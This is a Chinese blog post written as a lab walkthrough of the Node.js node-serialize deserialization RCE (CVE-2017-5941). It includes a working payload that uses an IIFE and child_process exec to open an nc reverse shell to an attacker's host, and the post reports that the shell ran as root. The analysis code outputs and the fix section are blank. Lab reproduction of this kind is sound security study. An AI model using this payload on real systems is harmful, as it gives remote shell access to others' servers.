可我浪费着我寒冷的年华

Node.js 反序列化漏洞远程执行代码(CVE-2017-5941)

2.1 摘要

2.1.1 漏洞介绍

  • 漏洞名称: Exploiting Node.js deserialization bug for Remote Code Execution
  • 漏洞CVE id: CVE-2017-594
  • 漏洞类型: 代码执行
  • Node.js存在反序列化远程代码执行漏洞,若不可信的数据传入unserrialize()函数,通过传递立即调用函数表达式(IIFE)的JavaScript对象可以实现任意代码执行。并且Node.js服务端必须存在接收序列的数据接口

2.1.2 漏洞环境

  • 操作机:Kali Linux
  • 目标机:CentOS 6.5

2.1.3 实验工具

  • exp.txt:利用nodejs代码执行的代码文件。

2.2 漏洞复现

  • 首先访问目标机器http://172.16.12.2可以看到一个存在node.js漏洞的登录界面。
  • 使用nc监听本地端口,用于接收漏洞环境的反弹Shell. nc -lv -p 8080 即监听本机8080端口
  • 准备反序列化代码:_$$ND_FUNC$$_function (){require('child_process').exec('mknod backpipe p; nc <ip> <port> 0<backpipe | /bin/bash ]>backpipe')}(),修改里面的

  • 用户名任意输入,将修改好的反序列化代码复制到密码框点击登录即可。
    点击登录后,如下图所示:利用成功。

  • 已经反弹回一个shell,并且权限为root。

2.3 漏洞分析

  • 使用0.0.4版本的node-serialize进行研究,成功利用的话,不可信输入传递到 unserialize()的时候可以执行任意代码。创建Payload最好使用同一模块的serialize()函数。 创建以下 JavaScript 对象,将其传入 serialize() 函数。
  • 运行后得到以下输出:

  • 得到序列化的字符串,可以通过unserialize()函数进行反序列化,但问题是代码执行不会发生,直到触发对应于对象的rce属性的函数。可以使用JavaScript的立即调用函数表达式(IIFE)来调用该函数。如果在函数体之后使用括号(),当对象被创建时,函数将被调用。 它的工作方式类似于C ++中的类构造函数。现在修改过的代码经 serialize() 函数马上会被调用。
  • 运行后得到以下输出:
  • 成功执行,那么就有了下面的 exploit:
  • 将其传入unserialize() 函数,触发代码执行。
  • 运行后得到以下输出:

2.4 修复方案

2.5 思考总结

    • 本实践实现了Node.js 反序列化漏洞远程执行代码的复现,并对漏洞原理进行了详细的分析。该漏洞本质上是构造Payload传入unserrialize()函数进行反序列化:使用JavaScript的立即调用函数表达式(IIFE),当对象被创建时,将 该JavaScript 对象传入 serialize() 函数,输出exploit将其传入unserialize() 函数,可以实现任意代码执行。危害不容小觑。
posted @   珍惜少年时  阅读(1914)  评论(0编辑  收藏  举报
编辑推荐:
· 10年+ .NET Coder 心语,封装的思维:从隐藏、稳定开始理解其本质意义
· .NET Core 中如何实现缓存的预热?
· 从 HTTP 原因短语缺失研究 HTTP/2 和 HTTP/3 的设计差异
· AI与.NET技术实操系列:向量存储与相似性搜索在 .NET 中的实现
· 基于Microsoft.Extensions.AI核心库实现RAG应用
阅读排行:
· 10年+ .NET Coder 心语 ── 封装的思维:从隐藏、稳定开始理解其本质意义
· 地球OL攻略 —— 某应届生求职总结
· 提示词工程——AI应用必不可少的技术
· Open-Sora 2.0 重磅开源!
· 周边上新:园子的第一款马克杯温暖上架
历史上的今天:
2016-12-29 绿麻雀网贷系统通用注入分析
可我浪费着我寒冷的年华
点击右上角即可分享
微信分享提示